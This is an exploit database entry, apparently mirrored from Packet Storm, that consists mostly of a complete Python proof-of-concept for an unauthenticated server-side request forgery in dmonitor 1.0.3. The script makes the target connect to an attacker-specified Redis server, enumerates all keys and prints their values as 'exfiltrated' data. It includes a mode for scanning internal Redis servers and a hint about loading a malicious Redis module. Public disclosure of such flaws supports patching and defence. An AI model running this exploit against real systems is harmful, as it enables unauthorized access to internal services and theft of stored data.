Lucene search
K

📄 dmonitor 1.0.3 Server-Side Request Forgery / Redis Enumeration

🗓️ 01 Jun 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 26 Views

dmonitor 1.0.3 unauthenticated server request forgery enables connections to attacker Redis servers for data enumeration.

Code
==================================================================================================================================
    | # Title     : dmonitor v1.0.3 – Unauthenticated SSRF Leading to Redis Access and Data Enumeration                              |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://github.com/dhjz/dmonitor                                                                                 |
    ==================================================================================================================================
    
    [+] Summary    : This Python script demonstrates a security vulnerability in dmonitor where unauthenticated requests can influence the application's outbound connections. 
                     The tool interacts with Redis-related API endpoints to assess whether the application can be induced to connect to arbitrary Redis servers specified by a user.
    				 
    [+] POC        : 
    
    #!/usr/bin/env python3
    
    import requests
    import json
    import sys
    import argparse
    from urllib.parse import urljoin
    
    class DMonitorSSRF:
        def __init__(self, target_url):
            self.target_url = target_url.rstrip('/')
            self.session = requests.Session()
            self.redis_connected = False
        
        def init_redis(self, attacker_host, attacker_port=6379, password=""):
            """
            Forces dmonitor to connect to attacker-controlled Redis server
            """
            endpoint = "/monitor-api/redis/initRedis"
            params = {
                "host": attacker_host,
                "port": attacker_port,
                "password": password
            }
            
            print(f"[*] Forcing dmonitor to connect to Redis at {attacker_host}:{attacker_port}")
            
            try:
                response = self.session.get(
                    urljoin(self.target_url, endpoint),
                    params=params,
                    timeout=10
                )
                
                if response.status_code == 200:
                    data = response.json()
                    if data.get("code") == 200:
                        print("[+] Successfully connected to attacker's Redis server")
                        self.redis_connected = True
                        return True
                    else:
                        print(f"[-] Failed: {data.get('msg')}")
                        return False
                else:
                    print(f"[-] HTTP {response.status_code}")
                    return False
                    
            except requests.exceptions.RequestException as e:
                print(f"[-] Connection error: {e}")
                return False
        
        def list_keys(self, keyword=""):
            """
            Lists all keys from the connected Redis server
            """
            if not self.redis_connected:
                print("[-] Redis not initialized. Call init_redis() first")
                return None
                
            endpoint = "/monitor-api/redis/listKey"
            params = {"keyword": keyword}
            
            print(f"[*] Enumerating Redis keys (keyword: '{keyword}')")
            
            try:
                response = self.session.get(
                    urljoin(self.target_url, endpoint),
                    params=params,
                    timeout=10
                )
                
                if response.status_code == 200:
                    data = response.json()
                    if data.get("code") == 200:
                        keys = data.get("data", [])
                        print(f"[+] Found {len(keys)} key(s): {keys}")
                        return keys
                    else:
                        print(f"[-] Failed: {data.get('msg')}")
                        return None
                else:
                    print(f"[-] HTTP {response.status_code}")
                    return None
                    
            except requests.exceptions.RequestException as e:
                print(f"[-] Connection error: {e}")
                return None
        
        def get_key_value(self, key):
            """
            Retrieves the value of a specific key from Redis
            """
            if not self.redis_connected:
                print("[-] Redis not initialized. Call init_redis() first")
                return None
                
            endpoint = "/monitor-api/redis/getByKey"
            params = {"key": key}
            
            print(f"[*] Retrieving value for key: '{key}'")
            
            try:
                response = self.session.get(
                    urljoin(self.target_url, endpoint),
                    params=params,
                    timeout=10
                )
                
                if response.status_code == 200:
                    data = response.json()
                    if data.get("code") == 200:
                        value = data.get("data", {}).get("value")
                        print(f"[+] Value: {value}")
                        return value
                    else:
                        print(f"[-] Failed: {data.get('msg')}")
                        return None
                else:
                    print(f"[-] HTTP {response.status_code}")
                    return None
                    
            except requests.exceptions.RequestException as e:
                print(f"[-] Connection error: {e}")
                return None
        
        def full_exploit(self, attacker_host, attacker_port=6379):
            """
            Complete exploit chain
            """
            print("\n" + "="*60)
            print("dmonitor v1.0.3 - Unauthenticated SSRF Exploit")
            print("="*60 + "\n")
            if not self.init_redis(attacker_host, attacker_port):
                print("[-] Exploit failed at initialization stage")
                return False
            keys = self.list_keys()
            if not keys:
                print("[-] No keys found or enumeration failed")
                return False
            print("\n[*] Exfiltrating data:")
            print("-" * 40)
            for key in keys:
                value = self.get_key_value(key)
                if value:
                    print(f"  {key} => {value}")
            
            print("\n[+] Exploit completed successfully!")
            return True
        
        def internal_scan(self, target_host, target_port, redis_command=""):
            """
            SSRF to internal Redis servers
            """
            print(f"[*] Attempting to connect to internal Redis: {target_host}:{target_port}")
            
            if self.init_redis(target_host, target_port):
                print("[+] Successfully connected to internal Redis server")
                return self.list_keys()
            return None
    
    def setup_attacker_redis():
        """
        Instructions for setting up attacker's Redis server
        """
        print("\n[!] Attacker Redis Server Setup:")
        print("    # Install Redis if not already installed")
        print("    $ sudo apt install redis-server  # Debian/Ubuntu")
        print("    $ brew install redis             # macOS")
        print("    # Or download from https://redis.io/download")
        print("\n    # Start Redis server")
        print("    $ redis-server --port 6379")
        print("\n    # Set test data")
        print("    $ redis-cli set test_key \"SSRF_CONFIRMED\"")
        print("    $ redis-cli set sensitive_data \"SECRET_VALUE\"")
        print("\n    # For advanced exploitation, set up malicious Redis module")
        print("    $ redis-cli MODULE LOAD /path/to/malicious.so")
        print("-" * 60)
    
    def main():
        parser = argparse.ArgumentParser(description='dmonitor v1.0.3 SSRF Exploit')
        parser.add_argument('-t', '--target', required=True, 
                            help='Target dmonitor URL (e.g., http://192.168.1.102:40001)')
        parser.add_argument('-a', '--attacker-host', required=True,
                            help='Attacker-controlled Redis server IP')
        parser.add_argument('-p', '--attacker-port', default=6379, type=int,
                            help='Attacker Redis port (default: 6379)')
        parser.add_argument('-i', '--internal-scan', nargs=2, metavar=('HOST', 'PORT'),
                            help='Scan internal Redis server (SSRF to internal)')
        parser.add_argument('--password', default='',
                            help='Redis password if required')
        
        args = parser.parse_args()
        if len(sys.argv) == 1:
            parser.print_help()
            setup_attacker_redis()
            sys.exit(1)
        
        exploit = DMonitorSSRF(args.target)
        if args.internal_scan:
            internal_host, internal_port = args.internal_scan
            exploit.internal_scan(internal_host, int(internal_port))
        else:
            exploit.full_exploit(args.attacker_host, args.attacker_port)
    
    if __name__ == "__main__":
        main()
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation